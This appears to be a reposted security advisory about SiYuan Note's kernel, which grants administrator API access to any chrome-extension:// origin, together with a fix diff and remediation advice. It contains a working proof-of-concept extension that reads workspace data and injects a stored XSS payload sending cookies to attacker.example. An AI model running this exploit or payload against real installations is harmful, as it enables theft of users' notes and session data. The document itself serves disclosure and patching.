Go · github.com/siyuan-note/siyuan/kernel
SiYuan: Unauthenticated Admin API Access via Blanket chrome-extension:// Origin Allowlist
SiYuan Note's kernel HTTP server unconditionally trusts all chrome-extension:// origins, granting RoleAdministrator access to every installed browser extension without any authentication. Combined with the default empty AccessAuthCode on desktop installs, any Chrome/Chromium extension -- including a compromised legitimate extension via supply chain attack -- can make fully authenticated admin API calls to the SiYuan kernel at 127.0.0.1:6806, enabling data exfiltration, stored XSS injection, and configuration tampering.
SiYuan <= v3.6.5 (commit 96dfe0bea474). The chrome-extension allowlist remains unfixed as of the latest commit on the fix branch (d7b77d945e0d).
In kernel/model/session.go:277, the CheckAuth middleware exempts all chrome-extension:// origins from authentication:
if strings.HasPrefix(origin, "chrome-extension://") {
// skip auth
}
At session.go:284, the request is assigned RoleAdministrator:
c.Set("role", model.RoleAdministrator)
The AccessAuthCode field defaults to an empty string for desktop installs (ContainerStd). When empty, no token validation occurs. This means any Chrome/Chromium extension can make fully authenticated admin API calls to the SiYuan kernel.
The origin check trusts the entire chrome-extension:// scheme rather than validating a specific extension ID, so every installed extension (including those with no explicit host_permissions) can access all admin endpoints.
Unauthenticated admin API access via browser extension:
A minimal Chrome extension with only default permissions:
{
"manifest_version": 3,
"name": "SiYuan PoC",
"version": "1.0",
"background": {
"service_worker": "bg.js"
}
}
// bg.js -- runs as chrome-extension://<id>
// No special host_permissions needed; localhost is accessible by default
// 1. Verify admin access
fetch('http://127.0.0.1:6806/api/system/getConf', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: '{}'
}).then(r => r.json()).then(data => {
console.log('[PoC] Admin API access confirmed:', data.code === 0);
});
// 2. Exfiltrate workspace data
fetch('http://127.0.0.1:6806/api/query/sql', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ stmt: 'SELECT * FROM blocks LIMIT 100' })
}).then(r => r.json()).then(data => {
console.log('[PoC] Exfiltrated blocks:', data.data?.length);
});
// 3. Inject stored XSS payload into a note
fetch('http://127.0.0.1:6806/api/filetree/listDocsByPath', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ notebook: '', path: '/' })
}).then(r => r.json()).then(tree => {
const firstDoc = tree.data?.files?.[0];
if (!firstDoc) return;
fetch('http://127.0.0.1:6806/api/block/insertBlock', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
dataType: 'markdown',
data: '<img src=x onerror="fetch(\'https://attacker.example/steal?data=\'+document.cookie)">',
parentID: firstDoc.id
})
});
});
The extension requires zero special permissions. The chrome-extension:// origin header is automatically sent by the browser, and session.go:277 grants it RoleAdministrator without any token check.
/api/query/sql, /api/filetree/, /api/export//api/block/insertBlock, /api/attr/setBlockAttrs), persisted in the user's notes/api/system/setConf, enabling persistence and further attack surface expansionRemove blanket chrome-extension:// allowlist:
--- a/kernel/model/session.go
+++ b/kernel/model/session.go
@@ -274,9 +274,6 @@
func CheckAuth(c *gin.Context) {
origin := c.GetHeader("Origin")
- if strings.HasPrefix(origin, "chrome-extension://") {
- // Allow chrome extension requests
- } else
if !isValidOrigin(origin) {
c.AbortWithStatusJSON(401, gin.H{"code": -1, "msg": "invalid origin"})
return
If extension access is required, implement a per-session token exchange: the SiYuan UI generates a random token on startup, and the extension must present it via a dedicated pairing endpoint. This ensures only explicitly authorized extensions can access the API.
Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.
Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.